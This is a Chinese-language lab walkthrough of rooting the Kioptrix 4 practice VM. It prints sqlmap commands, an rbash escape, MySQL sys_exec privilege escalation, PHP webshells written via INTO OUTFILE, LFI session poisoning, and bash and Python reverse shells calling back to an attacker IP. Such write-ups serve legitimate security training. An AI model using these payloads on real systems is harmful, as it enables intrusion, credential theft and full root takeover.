Kioptrix-4靶机渗透

免责声明
重要提醒:本文档/文章仅限于合法的学习与研究目的,严禁用于任何非法、违规或损害他人权益的活动
本文档所有技术演示仅在本地虚拟机环境中进行,不涉及任何真实在线系统或商业游戏。作者不对任何读者因误用本文内容而引发的账号封禁、数据丢失、法律追责或其他后果承担任何责任。
如本文无意中涉及任何可被滥用的技术细节,纯属客观描述现有公开机制,不提供可执行方案,也不承担后续责任。
阅读/使用本文即表示您已完全理解并同意以上条款。如不同意,请立即停止阅读。


开始之前

这次靶机有点不一样,下载页面给了两个压缩包,一个是虚拟磁盘另一个是vmdk的压缩包,然后下载之后直接打开虚拟机是不行的,需要再配置一下,这里选择新建虚拟机,直接选择典型即可,然后按图中进行选择:

image

客户操作机选择其他,然后一路下一步进行创建即可,按默认操作应该是这样的(因为我这里之前建过一个所以是2):

image

然后编辑虚拟机设置,移除原来的磁盘后再新建一个,磁盘类型直接选默认推荐的IDE即可,然后一路下一步到添加硬盘导向

image

浏览选择之前下载的vmdk就行了:

image

最后因为我kali是桥接因此这里也选择桥接模式,内存按需调节即可:

image


信息收集

依旧:

nmap -sn 10.144.71.0/24
nmap -sV -p- 10.144.71.249

扫出来是80和22端口,还有一个Samba的139和445,先web端看一眼,是一个登录界面:

image

dirsearch看一下还有没有别的界面

dirsearch -u http://10.144.71.249/

image

有一个看着有用的是database.sql,URL拼接一下看一眼:

image

给了一个像账户密码一样的东西,尝试登录发现不行,那么尝试以john作为账户进行SQL注入尝试,然后这里我还有一个认知误区:

刚开始我一直以为账户和密码都一样,如果有注入的都应该能进行注入,然后一直在账户那边尝试【毕竟能直接看出来】,然后尝试了好久发现不行,就感觉不对了,尝试了爆破没出来,后面上SQLmap跑出来是密码那边才有注入点,这个就涉及到了后端查询语句了,等到后面打穿了再看

看来遇到登录框必须对用户名和密码两个参数都进行单引号测试,才能准确判断注入点到底藏在哪。

知道了注入点后登录是这么一个界面:

image

并且发现URL是直接拼接了用户名,那么看看有无越权:

image


SQL注入得到rbash

好像没啥用,那上SQLmap跑个数据库,这里是post因此BP抓包一下:

sqlmap -r 1.txt -p mypassword --batch --dbs

image

跑出来三个数据库,后续就是正常操作了,直接给命令了,在members中找到相应数据:

sqlmap -r 1.txt -p mypassword --batch -D members --columns

sqlmap -r 1.txt -p mypassword --batch -D members -C "password,username" --dump 

Database: members
Table: members
[2 entries]
+-----------------------+----------+
| password              | username |
+-----------------------+----------+
| ADGAdsafdfwt4gadfga== | robert   |
| MyNameIsJohn          | john     |
+-----------------------+----------+

搞到这么两个,一个就是我们之前注入时得到的,还有一个看着也不像base64,尝试了一下是乱码,那应该就是密码,尝试SSH登录:

ssh -oHostKeyAlgorithms=+ssh-rsa john@10.144.71.249

ssh -oHostKeyAlgorithms=+ssh-rsa robert@10.144.71.249

逃逸rbash

但是两个连上去之后都是受限bash,这里就上一个图了:

image

其实之前没有具体接触过这类受限bash,都是换个方向去做的,这里细致了解一下如果遇到这种该怎么去思考:

首先,我们需要确认shell类型,输入以下命令进行探测
echo $SHELL

image

看到是受限的/bin/kshell 然后输入help 或者按两次tab查看能用的命令有哪些,这里直接列出来:

cd clear echo exit help ll lpath ls

这里有一个关键的echo,但是输入echo $PATH 进程直接被杀掉了,所以我们需要直接搞一个能逃逸的,这里用到的是python的os.system(),相信做过模板注入的师傅都不陌生,这里还是解释一下:

  • 受限 Bash 的限制原理:RBASH 是在 bash 进程启动时,通过 set -r 或环境变量施加的逻辑限制。它只限制了我们当前启动的这个 Bash 进程。

  • 绕过原理:我们在受限 Bash 里执行 python,Python 解释器是一个全新的、不受限的独立进程。

  • os.system() 的作用:它是 Python 用来调用操作系统 Shell 命令的标准接口。Python 不受 RBASH 限制,所以它调用出来的 whoamibash 等子进程也是不受限的。

因此这里来采用echo os.system('/bin/bash')来逃逸rbash的限制:

image


提权

内核提权尝试

后面就是找提权点了,但是SUID没有啥,这里的内核版本没变,然后目标靶机没有g++,那么本地编译一下:

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 
40847.cpp -lutil

wget http://10.144.71.177:8000/dcow -O dcow

chmod +x dcow

但是又有一个问题出现了:

image

一个是64位另一个是32位的,如果真要拿这个提权的还得再下个编译环境这里我没再做下去换了个方向,如果有兴趣的话可以看看,下面是下载和编译命令:

#下载
sudo apt install gcc-multilib g++-multilib libc6-dev-i386 -y

# 编译 32-bit dcow
g++ -Wall -pedantic -O2 -std=c++11 -pthread -m32 -o dcow 40847.cpp -lutil

Samba提权尝试

还记得我们之前扫端口的时候还有一个Samba吗,我想着看一下这个版本是否有相应的漏洞,拿MSF扫一下,这个具体过程因为之前在第一台靶机讲过了,因此这里直接给出版本号是(Samba 3.0.28a),kali里面搜一下:

image

但是我们这里的版本是28a,好像没什么适用的,最后哪一个是拒绝服务的PoC,这里路直接堵死了,只能回到之前的SSH中看看还有什么是我们忽略的地方

插入:其实应该正确步骤是看能不能匿名访问,这个是前提条件,这里是不行的:

image


UDF提权

看一下root进程:

ps aux | grep root

其中有一个是值得注意的地方:

image

看到了MySQL也是以root运行的,那么很可能问题就出在这里,首先得连上数据库,大概翻了一遍文件在这里:

cat /var/www/john/john.php

直接给出了相应的账户和密码:

image

默认空密码,进行登录:

mysql -u root -p

然后在mysql数据库中的func表中找到这么一个:

image

这个就是提权的关键UDF了:

用户自定义函数(User-Defined Function,简称 UDF) 就是 MySQL 里用户自己(或管理员)额外添加的函数,它不像 NOW()、CONCAT() 这些 MySQL 自带的内置函数,而是通过加载外部代码(通常是 .so 共享库文件,用 C/C++ 写)来扩展 MySQL 的功能

在 Kioptrix 4 这台机器上,sys_exec 就是一个典型的恶意/提权用的 UDF,它能让 MySQL 调用系统命令,而且因为 MySQL 服务是以 root 身份运行的,所以 sys_exec 执行的命令也以 root 权限运行.

创建sh

因此这里通过它来进行提权,首先可以用这种方法:

select sys_exec('cp /bin/sh /tmp; chown root:root /tmp/sh; chmod +s /tmp/sh');
  1. cp /bin/sh /tmp
    把系统自带的 /bin/sh(一个简单的 shell)复制一份到 /tmp/sh 这个位置。

  2. chown root:root /tmp/sh
    把这个复制出来的 /tmp/sh 文件的所有者和所属组改成 root。

  3. chmod +s /tmp/sh
    给这个文件加上 SUID 位(特殊权限,显示为 -rwsr-xr-x 中的 s)。

退出之后看一下/tmp目录:

image

就能看到我们创建的sh了,运行一下即可得到root:

image


用户追加到特权组

或者把john加到admin组中:

select sys_exec('usermod -a -G admin john');
  • usermod:修改用户账号的命令。

  • -a:append(追加),表示“添加到组”,而不是替换组。

  • -G admin:指定要加入的组名叫 admin。

  • john:要修改的目标用户名(当前用户)。

这里有师傅可能有疑问是为啥是admin而不是root刚开始我就是这么做的(ˉ▽ˉ;)...,这是因为在 Ubuntu 12.04 之前,admin 组成员默认可以执行 sudo 命令(相当于有管理员权限),可以看一下/etc/sudoers文件

image

这里也能看出admin组【最前面的%代表组,没有则是一个用户】有相应的权限,就是说我们进到admin组之后,就有相应的权力去切换到root,后面的su命令就是把我们切换成uid=0的root 就好比:

不带 % 的 root → 只给“叫 root 的这个人”发通行证。
带 % 的 admin → 给整个“admin 俱乐部”发通行证,俱乐部里的任何人
(john)都能用这张通行证去当 root。

然后su一下【这里的密码就是之前SSH登录用的】

image

原来的话是不在admin组的:

image


SUID下的bash

其他方法也是利用MySQL的变种了:

直接给 bash 加 SUID(

SELECT sys_exec('chmod u+s /bin/bash');

/bin/bash -p

这里有一个注意点是最后面得跟-p(--privileged),因为当我们对 /bin/bash(或 /tmp/sh)执行 chmod u+s 后,文件就有了 SUID 位,理论上运行它应该以 root 权限执行。
但是,现代 bash(包括 Kioptrix 4 用的老版本)有一个内置的安全机制:

当 bash 检测到自己是 以 SUID 方式运行(有效用户 ID euid=0,但实际调用者是普通用户)时,
它会主动丢弃(drop)特权,把自己的权限降回普通用户( john/robert),防止被滥用提权。

这里加上-p就代表着bash强制以root的身份启动:

image


直接写入/sudoers

SELECT sys_exec('echo "john ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers');

退出之后直接sudo su ,无需密码直接root:

image


最后就是看一下作者的话了

Congratulations!
You've got root.
There is more then one way to get root on this system. Try and find them.
I've only tested two (2) methods, but it doesn't mean there aren't more.
As always there's an easy way, and a not so easy way to pop this box.
Look for other methods to get root privileges other than running an exploit.
It took a while to make this. For one it's not as easy as it may look, and
also work and family life are my priorities. Hobbies are low on my list.
Really hope you enjoyed this one.
If you haven't already, check out the other VMs available on:
www.kioptrix.com
Thanks for playing,
loneferret


复盘

恶意文件写入

后续看了别的师傅写的,在刚开始登录界面用到了这么一个东西:
1' or '1'='1' into outfile '/var/www/john/test.txt' #

这是是MySQL 中的 SQL 注入(SQL Injection)高级利用,具体作用是 利用注入点把数据(或任意内容)写到服务器文件系统中。

  • INTO OUTFILE:告诉 MySQL 把查询的结果(或构造的内容)写入指定的文件。

  • '/var/www/john/test.txt':写入的目标路径(web 目录下,Apache 可以访问)。
    如果注入成功,我们就能在浏览器里访问 http://目标IP/john/test.txt 看到写入的内容

image

换一句话木马:

1' or '1'='1' INTO OUTFILE '/var/www/john/shell.php' LINES TERMINATED BY '<?php system($_GET["cmd"]); ?> ' #

正常写数据时,MySQL 会自动在每列、每行之间加分隔符,很容易把 PHP 代码搞乱(多出引号、换行、字段分隔等垃圾字符)
加上 LINES TERMINATED BY '\n' 的主要目的是:强制让输出的内容只用一个换行符结束每一行(或不加多余的换行)

之后看一下发现有了shell.php

image

访问之后url里面拼接命令发现执行成功:

image

有几个注意点:

  1. 要成功写入,需要 MySQL 用户有 FILE 权限(Kioptrix 4 上 MySQL 是 root 运行,有这个权限)

  2. 路径必须是 web 可访问且 MySQL 有写入权限的目录(/var/www/john/就是专门留的)

  3. 老版本 MySQL 对 OUTFILE 有一定限制,但这台机器故意留了这个漏洞

那么就可以换POST连个蚁剑再反弹一下:

1' or '1'='1' INTO OUTFILE '/var/www/john/.php' LINES TERMINATED BY '<?php
system("bash -i >& /dev/tcp/10.144.71.177/4444 0>&1");
?> ' #

image

好像出了 点问题,再尝试一下能不能直接传文件进行反弹shell:

1' or '1'='1' INTO OUTFILE '/var/www/john/rev.php' LINES TERMINATED BY '<?php
system("bash -i >& /dev/tcp/10.144.71.177/4444 0>&1");
?> ' #

image

好像还是没用....


文件包含写入恶意session

还看到师傅有文件包含的,在进行越权操作时输入/etc/passwd

image

看到有个str_repalce,尝试双写绕过:

image

可以发现没有进行循环替换,然后这里还进行了路径拼接,我们要进行截断,插件中看到PHP版本为5.2.4,那么就用%00进行截断:

image

那么接下来就可以进行session注入,我们要转到/proc目录下,常用的进行LFI的路径有:

  1. /proc/self/cmdline
  • 显示当前进程(这里是 Apache/PHP)的启动命令行参数
  • 常用来确认进程信息或测试 LFI 是否能读 /proc 下的东西
  1. /proc/self/environ
  • 显示当前进程的环境变量(包括 HTTP_USER_AGENT、HTTP_COOKIE 等)
  • 如果我们能控制 User-Agent头注入 PHP 代码,再通过 LFI 包含 /proc/self/environ,就能让 PHP 执行恶意代码(从而拿到 webshell)
  1. /proc/self/fd/<数字>
  • 每个进程打开的文件/ socket 都会有一个编号(0=stdin, 1=stdout, 2=stderr, 3+ 是其他)
  • 在 Kioptrix 4 的 member.php LFI 中,第 9 个文件描述符(/proc/self/fd/9) 经常指向 当前 PHP session 文件(session data)
  • 攻击者先用 SQL 注入登录(注入恶意 PHP 代码到 session),然后用 LFI 包含 /proc/self/fd/9%00,就能让服务器执行 session 里注入的 PHP 代码(一句话木马、passthru($_GET['cmd']) 等),从而拿到命令执行权限

我们可以先看一下
http://10.144.71.249/member.php?username=/proc/self/fd/9%00 路径下的显示:

image

这里是当前的session文件,可以看到正是之前在登录界面写的,现在我们要做的是进行session、注入,即去掉现在只是一个万能密码的session,建立一个包含有恶意PHP代码的session,回到最开始的登录界面,应用中会存储一个原来的session,我们需要将这个无害的session删除:

image

再在passwd中输入包含恶意代码的注入语句:

' or 1=1-- - <?php echo "\n\n"; passthru($_GET['cmd']); ?>

之后便会产生一个新的session,我们再回到/proc/self/fd/9%00
,在URL中拼接相应的命令即可:

image

发现可以成功执行,既然这样可以尝试反弹shell,最后是python反弹可以:

cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.144.71.177",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image

那么后续也就自己探索吧★,°:.☆( ̄▽ ̄)/$:.°★


"From lshell prisoner to root god — Kioptrix 4 has been conquered!"

posted @ 2026-04-15 18:54  ShoreKiten  阅读(6)  评论(0)    收藏  举报